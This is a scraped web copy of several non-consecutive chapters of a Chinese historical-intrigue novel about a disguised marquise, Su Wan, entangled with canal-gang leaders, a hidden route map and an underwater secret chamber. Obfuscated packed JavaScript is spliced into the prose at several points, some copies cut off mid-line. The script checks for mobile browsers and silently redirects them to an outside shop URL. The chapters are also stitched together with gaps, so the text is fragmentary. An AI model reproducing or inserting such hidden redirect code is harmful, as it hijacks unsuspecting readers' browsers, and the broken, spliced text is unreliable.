她抬起眼,毫不避讳地迎上赵衾探究的目光,“二爷既然查过苏晚,当知我乃一介寡妇,无依无靠。所求不过是在这乱世之中,觅一安身立命之所,积攒些银钱,以求晚年无忧。助胡商运粮,利人利己,何乐而不为?” 她将“利”字摆在了明面上,刻意模糊了更深层的目的。 赵衾盯着她看了片刻,忽然哈哈一笑,靠回椅背:“好一个利人利己!苏管事快人快语,赵某欣赏!” 他话锋一转,不再纠缠运粮的目的,转而道:“既然苏管事看重‘利’字,那赵某这里,倒有一桩更大的生意,不知苏管事可有兴趣?” 来了 苏晚心中暗道,面上适当地露出感兴趣的神色:“哦?愿闻其详。” 25. 第二十五章 “锦心坊的绣品,在淮州是一绝。但我漕帮行船南北,所见各地富绅权贵,其所好并非只有江南的婉约。若能将锦心坊的绣品,加上一些……更迎合北方乃至西域口味的纹样,通过我漕帮的渠道销往各地,这其中的利润,可比苏管事如今辛苦牵线,要丰厚百倍。” “二爷抬爱,”苏晚小心道:“锦心坊绣品能入二爷法眼,是坊主的福气。只是此事关乎坊内根本,苏晚人微言轻,恐难做主。且绣品革新,非一日之功,需从长计议。” 她没有立刻答应,也没有断然拒绝,将决定权推给了周坊主,也为自己留下了转圜的余地。 赵衾并不意外,笑容更深:“无妨。赵某有的是耐心,苏管事可以慢慢考虑。” 他举起酒杯,隔空向苏晚示意:“无论如何,今日能与苏管事一叙,甚是愉快。希望日后,我们能有合作的机会。” 苏晚垂眸,端起面前那杯一直未动的酒,象征性地沾了沾唇,“借二爷吉言。” 酒液微凉,滑过喉咙,带着一丝苦涩。雅间外,江水奔流不息,带走了夕阳最后一丝余晖,夜色彻底笼罩了淮州城。 — 这日,胡天彪找到黎昭月,黝黑的脸上带着风霜,却难掩振奋。 “苏娘子!第一批粮食,顺利过了最险的那段水路,接应的兄弟已经收到货,正星夜兼程送往落鹰涧方向!将军那边……能多撑些时日了!” 苏晚一直紧绷的心弦,终于松弛了几分。这不仅仅是粮食,更是支撑北境将士和二哥坚持下去的一线曙光。 “辛苦了,胡大哥。后续的粮食,还需抓紧。” 胡天彪并未那般高兴,“苏娘子,我正是为此事而来。第一批粮虽已送出,但北境情势比我们想象的更糟。赵昆那狗贼围困甚紧,恐怕我需立刻动身,亲自押送第二批才好,并设法与将军取得直接联系。” 他看向苏晚,眼神复杂:“淮州这边,恐怕要多多倚仗苏娘子了。我会留下两个可靠的兄弟听您调遣,他们熟悉北边的路子和这边的规矩。” 苏晚明白,这意味着胡天彪将深入险境,归期难料。她站起身,对着这位耿直的北境汉子,郑重一福:“胡大哥放心前去,保重自身。淮州之事,苏晚必竭尽全力。” 胡天彪抱拳,声音有些沙哑:“苏娘子高义!胡某代北境将士,谢过娘子!待此间事了,胡某定当……”他似乎想说什么承诺,却又觉得在残酷的战争面前,任何承诺都显得苍白,最终只是重重抱拳。 没有过多的寒暄,胡天彪带着人匆匆离去。苏晚站在院门口,望着他离去的方向,心中沉甸甸的。 送走胡天彪,生活的轨迹似乎又回到了原点。苏晚依旧每日去锦心坊,处理庶务,设计新样。 这日午后,她正在坊内查看一批新染的丝线,竹儿悄悄凑近,低声道:“娘子,有消息了。那个王头目,名叫王痕,是赵二爷手下的一个心腹小头目,专门负责码头货物巡查和……在漕帮底层弟子中颇有威信。” 苏晚点点头,“赵衾名下的产业呢?” “除了陈记货栈和望江楼,他还暗中控制着两家赌坊,一家当铺。明面上,还有一家绸缎庄,名叫云锦阁,就在城东最繁华的地段,但生意不太好。”竹儿禀报道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613152|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云锦阁?苏晚记下了这个名字。赵衾掌控着漕运,却有一家生意萧条的绸缎庄,这本身就有趣。是掩人耳目,还是另有用途? “另外,”竹儿犹豫了一下,“奴婢今日在集市,听到几个漕帮弟子喝酒闲聊,说……说京城里来了个阔气的赌客,在赵二爷的赌场赌得很大,手气还贼好,输少赢多,好像姓钱?” 钱……钱禄?可他不是在京城吗? 一股寒意顺着脊椎爬上后颈。 “确定是姓钱?听清名字了吗?”苏晚急问。 竹儿紧抿唇:“那几个弟子醉醺醺的,说得含糊,但一直说着京城里来的钱老板,出手阔绰。” 周焕贪墨军饷,通过钱禄的昌隆粮行洗钱销赃。他此刻出现在赵衾的赌坊,是偶然寻欢作乐,还是赵衾与京城那边,也有勾结? 竹儿神色肃然,“娘子,那我们……” 就在这时,锦心坊的一个小丫鬟捧着个锦盒走了进来:“苏管事,陈记货栈的王头目派人送来的,说是赵二爷的一点心意,感谢您上次在望江楼的款待。” 竹儿将其打开,里面并非金银珠宝,而是几匹质地极佳的顶级湖丝,正是锦心坊目前急需的上好原料。 苏晚抚摸着冰凉滑腻的丝缎,眼神幽深。 赵衾,钱禄……这几条看似不相干的线,似乎正在淮州这座水城里,悄然交汇。 而她,这个本该“死去”的靖安侯夫人,如今江南的绣坊管事,已被命运推到了这几条线的交叉点上。 她轻轻合上锦盒盖子,发出清脆的声响。 淮州的天,要变了。 27. 第二十七章 三日后,涵碧轩。 苏晚穿着天青色的缂丝褙子,颜色清雅。发髻上只簪了一支素雅的珍珠步摇,随着她的步伐轻轻晃动。她妆容浅淡,气质清冷出尘,在这姹紫嫣红中,反而有种格外的醒目。 她的出现,引起了一阵细微的骚动。近日“锦心坊苏管事”在智挫豪客钱禄的消息早已传开。 赵衾作为主人,亲自迎了上来。 “苏管事肯赏光,蓬荜生辉。”他拱手,语气热络。 “二爷相邀,苏晚岂敢不来。”苏晚奉上一个锦盒,“恭贺二爷春宴。” 锦盒里是她精心挑选并亲自参与设计绣制的一幅双面绣小品,绣的是涵碧轩窗外的春江景致。 赵衾打开一看,眼中掠过惊艳,随即笑道:“苏管事果然心灵手巧,这份礼,赵某甚是喜欢!”他亲自引着苏晚入内,将她安排在视野颇佳又相对安静的一席。 她端起茶杯,假意品茗,目光状似无意地扫过全场。很快,她便在人群中看到了钱禄。他正与几个淮州本地的商人谈笑,眼神却时不时瞟向她的方向。 苏晚心中冷笑。 看来,这就是赵衾的“京城来的朋友”。而钱禄,也并未打消对她的怀疑。 就在这时,一个略显轻浮的声音在她身旁响起:“这位便是近日名声大噪的锦心坊苏管事吧?果真闻名不如见面。” 苏晚转头,见是个年轻公子,眼神黏腻,让人不适。 她并不接话。那公子却自顾自坐下,凑近了些,“苏管事好手段啊,连京城来的钱老板都在你手下吃了亏。听说……钱老板回去后,直念叨苏管事像极了一位故人呐……” 这话语里的试探意味十足。苏晚心中警铃微作,面上却依旧是那副浅笑:“哦?不知是哪位故人?苏晚自幼长在江南,怕是没什么福气认识京城的贵人。” 那公子嘿嘿一笑,“那就奇了。钱老板说的那位,可是了不得的人物,靖安侯府那位……啧啧,可惜,红颜薄命啊。” 苏晚面上没有反应,她抬起眼,眸光清冷如秋霜,带着困惑:“这位公子说笑了。侯府夫人的名讳,岂是我等平民可以随意提及和比拟的?如此妄议,怕是不妥吧?” 她的反应,没有惊慌,只有被冒犯的不悦和置身事外的茫然,倒让那试探的公子愣了一下,随即讪讪地摸了摸鼻子:“是在下唐突了,苏管事莫怪,莫怪。”说罢,悻悻然地走开了。 苏晚暗暗松了口气,她抬眼望向主位的赵衾,他正与几位盐商谈笑风生,似乎并未留意这边的小插曲。但苏晚知道,这厅内的一切,都逃不过他的眼睛。 酒过三巡,气氛愈加热烈。有宾客起哄,要行酒令助兴。赵衾笑道:“寻常酒令无趣,不若我们换个花样。近日得了一副巧环,结构精妙,在座诸位皆是见多识广之人,谁能率先解开,赵某愿以新得的那尊白玉貔貅为彩头。” 说着,侍女捧上一个锦盘,上面放着一个由九根玉环相套相连的玉质巧环。那白玉貔貅雕工精湛,玉质莹润,价值不菲。 众人纷纷围拢过来,跃跃欲试。几个自诩聪明者上前摆弄半晌,却都无功而返,那巧环纹丝不动,引来阵阵哄笑。 钱禄也挤在人群中,他对此道似乎颇有兴趣,试了几种方法,额角见汗,却依旧不得其法,脸色有些难看。 赵衾的目光扫过众人,最后落在了安静坐在席间的苏晚身上,笑道:“苏管事心思玲珑,不妨也来一试?” 苏晚本欲推辞,但看到钱禄那充满怀疑和审视的目光,知道这是一个机会。一个展示“苏晚”与“黎昭月”不同之处的机会。黎昭月擅骑射,性子烈,于这些精巧机关之物并不通窍。而“苏晚”,一个江南绣坊管事,心思细腻,擅长女红,对这类需要耐心和巧思的东西有所涉猎,才更符合身份。 “苏晚姑且一试,若不得法,诸位莫要见笑。” 她走到锦盘前,并未像旁人那样急切地拉扯,而是轻轻托起那副巧环,借着灯光,仔细审视其结构脉络。 忽然,苏晚指尖在一个极其隐蔽的卡扣处一按,随后手指如同穿花蝴蝶般拨动了几处玉环。只听极其轻微的一声“咔哒”,那原本死死纠缠在一起的九连环,在她手中一环环脱落开来。 不过须臾间,一副难倒了众多男子的复杂巧环,已被她彻底解开,玉环整齐地摆放在锦盘之中。 “妙啊!太妙了!” “苏管事真是深藏不露!” “这手法,简直神乎其技!” 赵衾抚掌大笑:“苏管事果然非同凡响!这尊白玉貔貅,归你了!” 侍女将白玉貔貅奉到苏晚面前。苏晚并未推辞,坦然收下,“多谢二爷厚赠。” 她抬起头时,目光扫过人群中的钱禄。只见他脸色变幻不定,但那股笃定的怀疑,却明显动摇了几分。眼前这个沉静又精于巧艺的江南女子,与他记忆中那个性情如火的靖安侯夫人,形象确实难以完全重叠。 苏晚心中稍定。这一局,她暂且稳住了。 春宴散时,已是月上中天。 苏晚婉拒了赵衾派人相送的好意,只带着竹儿,乘着来时那辆不起眼的青篷小车,离开了涵碧轩那片依旧灯火通明的富贵之地。 她拿起放在身侧的那尊白玉貔貅。赵衾将此物作为彩头,手笔不可谓不大。 借着车厢内昏暗晃动的灯火,苏晚细细摩挲着这尊玉貔貅。而在摸到貔貅腹部时,她停顿了一下。 腹部鳞片的接缝……似乎过于规整了?不像是天然玉纹或雕刻痕迹。 她凑到窗边,借着偶尔掠过的外界灯火,更仔细地检视。果然,在那鳞片纹路的掩盖下,有一圈极其细微的缝隙,这貔貅是空心的。 她尝试着用指甲抠动那缝隙,纹丝不动。又试着按照不同方向旋转按压,依旧没有任何反应。 “竹儿,取我的小银剪和绣花针来。”苏晚低声道。 竹儿虽不明所以,还是立刻从随身的小包里找出递给她。 苏晚用绣花针的针尖,探入那缝隙,一点点小心地撬开。 “咔。” 那尊白玉貔貅,从腹部那圈缝隙处整齐地裂成了两半。 苏晚深吸了一口气,将上半部分貔貅拿起,那空腔内,赫然躺着一小卷绢帛。绢帛质地奇特,非棉非麻,触手光滑微凉,像是某种经过特殊处理的丝织物,极其薄韧。 而上面竟勾勒出一幅极其简略的路线图。 这是一条比胡天彪目前使用的可能更快捷的运粮路线! 苏晚拿着这张轻飘飘的绢帛,手却觉得有千钧重。 赵衾!原来他将这份“大礼”,借春宴之手,“名正言顺”地送到了她手上! 他选择用这种方式,他是在告诉她,他知道了她在做什么,并且,他可以选择帮助,也可以选择毁灭。 无论如何,这条路线对此刻的北境而言,无疑是雪中送炭。它能大大提高运粮效率和安全性。这个诱惑,她无法拒绝。 但接受了,就意味着她与赵衾的“合作”关系,进入了一个更危险的阶段。她必须更加小心,步步为营。 “娘子,这……” 苏晚将绢帛仔细收好,塞入贴身的荷包内。 她尝试着将两半貔貅重新对准卡榫,轻轻一按。 “咔哒。” 一声轻响,玉貔貅恢复如初,严丝合缝,仿佛从未被打开过。 “今日之事,绝不可对外人提起半分。”苏晚沉声吩咐竹儿,语气前所未有的凝重,“这尊貔貅,好生收着,就当我们从未发现过其中的秘密。” “是,娘子!” 春宴之后,钱禄没再出现在苏晚面前,不知是赵衾敲打了他,还是他自觉试探无果,暂时蛰伏了起来。赵衾也并未因赠图之事再有进一步的动作,仿佛那尊白玉貔貅真的只是一份单纯的彩头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“苏管事肯出手,二爷定然欣喜。”王莽松了口气的样子,立刻敲定了时间,就在次日午后。 次日,苏晚带着竹儿,如约来到云锦阁。铺面位置极佳,装潢也算气派,但店内果然客流稀少,伙计都有些无精打采。 掌柜是个眼神精明的干瘦老头,姓孙。见到苏晚,他态度不算热情,甚至带着几分隐晦的抵触,但碍于王莽亲自陪同,还是将她们引到了后堂账房,抱出了厚厚几大摞账本。 “近三年的账目都在这里了,有劳苏管事费心。” 苏晚不动声色,谢过后,便让竹儿在一旁研磨伺候,自己净了手,开始翻阅账本。 她前世作为靖安侯夫人,曾替李既白打理过庞大的侯府庶务和部分见不得光的产业,于这看账查账一道,早已练就火眼金睛。起初,她只是例行公事般翻阅,但很快,她的眉头便微微蹙起。 云锦阁的账目,表面上看,确实是一塌糊涂。进货成本虚高,销售记录混乱,库存盘点不清,亏损巨大,符合一个经营不善铺子的所有特征。但苏晚却敏锐地察觉到,这种“混乱”之中,隐隐透着一种刻意掩盖的痕迹。 尤其是涉及到几批来自海外和西域的“特殊染料”和“罕见丝线”的采购与“损耗”,账目做得格外模糊,金额巨大,去向成谜。这些物品,根本不是一个生意萧条的绸缎庄需要大量又反复采购的。 她翻到一本两年前的旧账册时,指尖一顿。在一笔记录与江南盐课衙门某位书吏的“年节往来”账目旁,她看到了用朱砂点出的标记,若不细看,几乎会以为是账册上的污渍。 这个标记……她似乎在哪里见过。 她继续往下翻,极为仔细。 不知过了多久,苏晚在核对一批三年前入库的蜀锦数量时,发现库房记录与销售记录完全对不上,有近五十匹蜀锦不翼而飞,账上却记为“虫蛀霉烂,不堪使用,已处理”。五十匹上等蜀锦,价值不菲,如此草率处理,简直荒谬。 她下意识伸手,想去拿旁边那本专门记录“损耗处理”的明细册子。就在她的指尖即将触碰到那本蓝色封皮的册子时,站在她身侧后方,一直安静研墨的竹儿,忽然极轻地咳嗽了一声。 苏晚动作微顿,抬眼看向竹儿。只见竹儿目光飞快地扫过那本蓝色册子,又迅速垂下,微不可察地摇了摇头。 苏晚心中猛地一凛!竹儿发现了什么? 31. 第三十一章 李既白袖中的手紧握成拳,指甲深深陷入掌心。他看着曾钦宁那副无辜的模样,又看向对面那个紧抿着唇的苏晚,心如刀绞。 “够了!”李既白声音冰寒刺骨,打破了现场的死寂,“逝者已矣,休要再胡言乱语,扰亡魂清净!” 曾钦宁被他目光中的冷意慑住,瑟缩了下,泪珠恰到好处地滑落,更显得楚楚可怜。 李既白不再看她,转而将目光投向苏晚,声音疏离:“下人无状,冲撞了苏管事。本官代她致歉。” 苏晚抬眸,迎上李既白的目光。 她深吸一口气,极力维持着最后一丝冷静,声音像是从牙缝里挤出来,带着冷意: “钦差大人言重了。曾小姐……情深意重,追思故人,民女可以理解。”她刻意停顿,加重了“故人”二字,“只是,民女苏晚,自幼生于江南,长于市井,福薄命贱,不敢与侯府贵人相提并论。今日冲撞,实属意外,民女告退。” 说完,她不再看任何人,挺直了脊背,在无数道复杂目光的注视下,转身,一步步,极其平稳地走出了这令人窒息的宴厅。 李既白看着她的身影消失在门口,只觉得那颗早已千疮百孔的心,又被狠狠地剜去了一块,鲜血淋漓。 曾钦宁垂着头,用帕子轻轻擦拭着眼角并不存在的泪水,无人看见的角度,她的唇边勾起了一抹极淡的弧度。 李既白在王知府等人的陪同下,面色冰寒地登上了返回驿馆的官轿。曾钦宁跟在他身后,依旧是一副受了委屈却强自隐忍的模样。 官轿远去,留在望江楼前的众人却并未立刻散去。 “没想到啊,那位苏管事竟……” “嘘!慎言!没看见侯爷方才的脸色吗?这可是忌讳!” “曾小姐也是痴情人,见到相似容貌,难免失态……” “痴情?我看是厉害才对!当着这么多人的面点破,这是彻底绝了那苏管事借着容貌攀附的心思!” “也是,再像又如何?终究是个替身,还是个让主儿看了伤心的替身……啧啧,以后这苏管事在淮州,怕是难了。” “难什么?没看见赵二爷护得紧吗?我看呐,这水浑着呢!” 议论声如同蚊蚋,在夜色中嗡嗡作响。钱禄混在人群中,脸色变幻不定。他知道,必须尽快将今晚所见所闻,快速地禀报回京城。 赵衾站在台阶上,脸上已恢复了惯常的几分玩味的笑容。他目光扫过议论纷纷的人群,最后落在匆匆赶来的王莽身上。 “二爷,苏管事已经乘车回去了,看着……情绪尚算平稳。”王莽低声道。 赵衾轻笑一声:“平稳?怕是心里早已翻江倒海了。”他顿了顿,吩咐道:“派人盯着点,别让些不长眼的东西去打扰她。另外……把我们准备好的那份‘礼物’,给钦差大人送过去。” 王莽会意,点了点头:“是,二爷。那本蓝色的册子……” “不急。”赵衾目光幽深地望向驿馆的方向,“等咱们的钦差大人,先消化完今晚这出好戏再说。火候,得慢慢熬。” —— 驿馆,书房 李既白屏退了所有随从,只留曾钦宁在房内。门一关上,他的伪装瞬间碎裂,取而代之的是一种近乎虚脱的疲惫与痛楚。他踉跄一步,扶住书案才勉强站稳。 “侯爷……”曾钦宁上前一步,想要搀扶,却被他抬手阻止。 “为什么?”李既白的声音沙哑得厉害,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672986|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么要用那种方式?你可知……” 可知那对她是何等的残忍? 后面的话,他没能说出口。 曾钦宁沉默片刻,缓缓跪了下来:“侯爷,这是最快,也是最有效的办法。三皇子的眼线就在席间,钱禄更是疑心重重。唯有让‘苏晚’与‘黎昭月’在所有人面前彻底割裂,才能最大程度地保证她的安全。否则,一旦被他们确认……后果不堪设想。” 她的声音平静而清晰:“钦宁知道此举会伤了苏姑娘,更会让侯爷心痛。但这是乱局之中不得不为的取舍。所有的骂名与恨意,由钦宁一力承担。” 李既白闭上眼,脑海中尽是苏晚最后那屈辱的脸,那挺直却孤绝的背影。他知道曾钦宁说得对,这是当下最理智的选择。可理智,并不能减轻那噬心般的疼痛。 他亲手将她推开,任由别人践踏她的尊严,只为了护她周全?这何其讽刺!何其……无能! “起来吧。”良久,李既白才开口,声音里带着浓浓的无力感,“此事……罢了。” 他无法责怪曾钦宁,因为这本就是他默许甚至纵容的结果。是他将她置于这险地,是他让她不得不隐姓埋名,承受这一切。 “谢侯爷。”曾钦宁站起身,低声道,“侯爷,当务之急,是尽快开始督察漕运之事。唯有将水搅浑,苏姑娘那边,才能真正安全。” 李既白深吸一口气。 是了,他此来江南,并非只为私情。漕运、军粮,这些才是他明面上的目标,也是他能暗中保护她的屏障。 “传令下去,明日一早,调阅淮州府近三年所有漕运文书、税赋账册。还有,让漕帮赵铭赵衾,以及相关的大小头目,后日一早,至驿馆问话。” 32. 第三十二章 沈牧摇了摇头,眉头紧锁:“具体入口,老夫亦不知晓。只听闻与祠堂供奉的某一尊神像有关,且需打开机关方能开启。赵筑当年对此讳莫如深,若非一次醉酒后失言,老夫也无从得知。此事极为隐秘,恐怕连赵氏兄弟都未必清楚。” “多谢先生指点。”苏晚深深一揖,“晚辈知道该如何做了。” 与沈牧告别后,苏晚并未直接回城,而是绕道去了一处偏僻的河滩,那里是胡天彪留下的一个秘密联络点。她需要动用北境在淮州最后的人脉和资源。 她写下密信,要求不惜一切代价,搞到漕帮总舵的详细地图,特别是祠堂周边的布防情况。同时,她也让竹儿等人,在市面上打听任何与“神像”,“密室”相关的零碎信息,哪怕只是无稽的传说。 回到锦心坊时,已是午后。坊内一切如常,但苏晚能感觉到,一些伙计和绣娘看她的眼神,多了几分不易察觉的异样和同情。显然,望江楼“替身”风波,已然传开。 竹儿迎上来,低声道:“娘子,您可算回来了。上午赵二爷派人送来几匹新到的云锦,说是给坊里添些货色。” “我没事。”苏晚淡淡道,“云锦收下,按市价把银子送过去,一分不少。” 她不会接受赵衾这种含糊的“馈赠”,尤其是在知晓了那本蓝色册子可能牵扯的惊天秘密后。与赵衾的合作,必须建立在更互相制衡的基础上。 就在苏晚筹划探查密室之时,李既白也展开了对淮州漕运的调查。 驿馆书房内,卷宗堆积如山。李既白端坐案后,曾钦宁在一旁协助整理。他面色沉静,专注于手中的文书,只有偶尔掠过窗外的目光,泄露了一丝不易察觉的心绪不宁。 墨痕躬身禀报:“侯爷,淮州府近三年的漕运文书和税赋账册已全部调阅至此。初步核查,发现几处疑点。” “讲。” “一是历年漕粮损耗记录,普遍高于朝廷定例,尤其是经过黑水荡几处险要河段时,损耗尤为异常。二是部分漕船载货量与缴纳的漕税数额,存在明显不符,有偷漏税款之嫌。三是……一些由漕帮代运的官用物资,筑堤石材和军中部分非紧要辎重的运输费用远超常理。” 李既白放下手中卷宗,“可查到具体经手之人?” “账面做得颇为干净,多是以河道疏浚,人力成本增加等名目处理。但几次异常损耗和超高费用,都集中在刘三爷管辖的河段,且多有漕帮大公子赵铭麾下堂主的印信背书。” 线索隐隐指向了赵铭一系,但这在李既白意料之中。赵铭掌控漕帮大部分传统营生,这些陈年积弊,与他脱不开干系。 “继续深挖,找到具体人证物证。”李既白命令道:“另外,重点查一查,近年来所有途经淮州,最终目的地为北境,或与北境军务相关的物资运输记录,尤其是粮草和军械配件。凡有费用异常的,一律单独列出,详加核查。” 他此言一出,侍立一旁的曾钦宁整理文书的手微微一顿。墨痕也愣了下,随即垂首领命:“是!” 侯爷此举,明面上是为了彻查漕运,杜绝任何可能影响北境补给的问题,但结合京城传来的谣言,墨痕心中不免有些担忧。 李既白无视了他们的反应,继续道:“传本官命令,明日巳时,于漕帮总舵,召见漕帮帮主赵筑,及二位公子,本官要亲自问话。” 他要亲自会一会这淮州漕运的地头蛇,敲山震虎,看看这潭水底下,究竟藏着多少魑魅魍魉。 “是,侯爷!”墨痕领命而去。 书房内只剩下李既白与曾钦宁。 曾钦宁将一杯新沏的茶放在李既白手边,低声道:“侯爷,如此大张旗鼓,是否会打草惊蛇?尤其……还要特意核查北境物资。” 李既白端起茶杯,氤氲的热气模糊了他的眉眼:“蛇已受惊,不如主动敲打,让他们自乱阵脚。至于北境物资……唯有查得越细,才能让某些人相信,本官此来,并非为了徇私,而是秉公。” 他必须将“李既白欲断黎昭雪粮草”这盆脏水,用自己的行动泼回去。至少在明面上,他要做得无可指摘。 曾钦宁默然,她知道李既白的用意,但此举无疑也会将苏晚筹粮的渠道置于更严格的审查之下,风险极大。 与此同时,漕帮总舵也已收到了钦差传召的消息。 赵铭脸色阴沉,在厅内来回踱步:“李既白这是什么意思?刚来就要给我们下马威吗?还要查北境物资?他果然是想找由头卡我们的脖子!” 赵衾则显得平静许多,把玩着一枚新得的玉蝉,嘴角噙着冷笑:“大哥何必动怒?钦差巡查,问话本是常情。我们漕帮行得正坐得直,怕他何来?至于北境物资……我们按规矩办事,有何可查?” “你!”赵铭怒视赵衾,他怕的自然是自己手底下那些“损耗”被查出来。 一直闭目养神的赵老爷子赵筑,缓缓睁开眼:“够了。明日去见钦差,都给我谨言慎行,不该说的,一句也别说。我漕帮能在淮州立足百年,靠的不是匹夫之勇。这位靖安侯,可不简单。” 他的目光似有似无地扫过赵衾,带着一丝深意。 赵衾心中凛然,面上却依旧恭敬:“父亲教训的是。” 当夜,淮州城暗流更急。 苏晚收到了一份粗略的漕帮总舵布局图。她将自己关在书房内,对着油灯,仔细研究。 而此刻的李既白,对着墨痕最新呈上的一份密报眉头紧锁。密报显示,就在他抵达淮州的前几日,曾有一批身份不明的人暗中接触过刘三爷,之后不久便发生了黑水荡劫粮事件。 事情,似乎比他想象的更为复杂。 他抬眼望向窗外漆黑的夜空,淮州的灯火在远处零星闪烁。 昭昭,你此刻在做什么?是否……也在为这错综复杂的迷局,苦苦思索? 我们明明近在咫尺,却仿佛隔着重山峻岭。 夜色深沉,注定有许多人,难以入眠。 —— 子时刚过,一道几乎与夜色融为一体的黑影,正悄无声息地越过外围院墙,落在内侧。 苏晚脸上蒙着黑巾,只露出一双在眸子。那人伏低身体,借助假山的阴影,按照记忆中的布局图,谨慎而迅速地向祠堂方向潜行。 福安弄来的地图虽然粗略,但主要建筑和大致巡逻路线还算清晰。她避开两队固定路线的守卫,有惊无险地靠近了位于总舵最深处的祠堂。 祠堂是一座颇为古旧的院落,青砖黑瓦,透着一股森严肃穆的气息。院门紧闭,门外竟有六名弟子持械守卫,比地图上标注的两人多了两倍。 苏晚心中微沉,屏息凝神,藏身于一丛茂密的竹后。看来经过李既白传召,总舵的守卫明显加强了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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找到了! 苏晚心中狂喜,但立刻压下情绪,警惕地观察四周。确认无人察觉后,她迅速收起钥匙,侧身闪入洞口。 就在她身影消失在洞口的同时,祠堂院落角落一株高大的古柏之上,那道与树影融为一体的身影,微微动了一下。 王莽透过枝叶缝隙,看着那重新闭合的石板,悄然打了个手势。远处几个潜伏在暗处的黑影,无声地调整了位置,将这片区域守得更紧。 苏晚踏入洞口,伸手不见五指,只有水流声在狭窄的空间内回荡。她取出一颗用来照明的夜明珠,柔和的光芒勉强驱散了黑暗。 石阶不长,很快便到了底。 眼前是一条仅容一人通行的狭窄甬道,墙壁湿漉漉的,空气潮湿闷浊。而尽头,隐约传来更大的水流声。 她小心翼翼地前行,走了约莫十几丈,眼前豁然开朗。 一个巨大的地下空间呈现在眼前。空间的一半是幽深的地下河水,另一半则是人工开凿出的石台。石台中央,赫然矗立着一尊巨大的石雕神像。 神像造型古朴,带着一股蛮荒的气息,正是漕帮供奉的河神。而神像的底座,并非完全与石台相连。 苏晚的心跳加速 她走近神像,借着夜明珠的光芒仔细查看。神像双手在胸前结着一个奇怪的法印,其中一根手指微微翘起,指向水面之下。而在神像底座靠近水面的地方,她发现了一个与外面石基上类似的凹槽,只是这个凹槽更大,形状也更复杂,像是一个莲花座…… 她尝试着将钥匙再次插入,毫无反应。 她的目光落在神像结印的手上,又看了看幽深的地下河。难道入口在水下?需要打开什么机关? 33. 第三十三章 她绕着神像仔细寻找。 在神像背后,一个被水汽常年侵蚀几乎与石壁融为一体的地方,她摸到了一个可以活动的,拳头大小的石球。 她用力试图转动石球,石球纹丝不动。又尝试按压,还有提起,依旧无效。 时间一点点流逝,苏晚额角沁出细密的汗珠。她知道不能在此久留。 就在她几乎要放弃,准备先行撤离再想办法时,她的目光再次落到那个莲花座形状的凹槽上。莲花……当今的国花……皇室……云水段! 赵衾的母亲,据闻早年曾是宫中女官!难道…… 她立刻从贴身之处取出那几片云水缎的碎布。这布料除了颜色质地特殊,本身并无异状。她将碎布摊在掌心,对着夜明珠仔细查看。忽然,她发现其中一片碎布的边缘,在珠光下泛着一种极其微弱的的荧光。 她用手指轻轻捻动,发现那荧光似乎来自于布料内部的几缕金丝。拼接之后,这些金丝竟巧妙地构成了一个简约的莲花图案! 难道这就是信物?或者说是信物的一部分? 她尝试着将这片带有莲花暗纹的碎布,覆盖在那个莲花座凹槽上。 大小完全吻合! 就在碎布与凹槽接触的瞬间,那几缕金丝仿佛被唤醒般,荧光微微亮起。与此同时,神像背后那个原本纹丝不动的石球,突然发出了“嘎吱”一声轻响。 苏晚心中狂震 她立刻回到神像背后,再次用力转动石球。这一次,石球虽然依旧沉重,却带着艰涩的摩擦声,转动了起来。 随着石球的转动,一阵低沉的轰鸣声响起。神像基座靠近水面的部分,一块厚重的石板缓缓移开,露出了一个更深的洞口。洞口下方,隐约可见石阶没入水中。 水下密室!入口真的在水下! 苏晚不再犹豫,深吸一口气,将夜明珠含在口中,小心地沿着湿滑的石阶,向下走入冰冷刺骨的地下河水中。 河水深及腰部,寒意窜了上来。她咬着牙,扶着洞壁,一步步向前。大约走了七八步,石阶到了尽头,而在一侧石壁上,她看到了一个半浸在水中的铁皮柜子。 柜子上挂着一把巨大的铜锁 苏晚游过去,尝试着用力拉扯,柜门纹丝不动。她仔细查看铜锁,锁孔样式古老,并非钥匙所能打开。 时间紧迫,寒气不断侵蚀着她的身体,她必须尽快找到打开柜子的方法 她环绕着铁柜检查,发现在柜子底部与水底泥沙接触的地方,似乎卡着什么东西。她潜入水中,伸手摸索,触手是一个巴掌大小的方形物体。 她用力将其抠出,浮出水面。 借着夜明珠的光芒,她看清了那是一个用油布包裹得严严实实的铁盒。油布外层已经有些破损,但里面的铁盒锈蚀并不严重。 难道……这才是真正的关键? 苏晚来不及细想,将铁盒紧紧攥在手中。强烈的直觉告诉她,这就是她今夜冒险所要寻找的目标。 她不再停留,迅速原路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 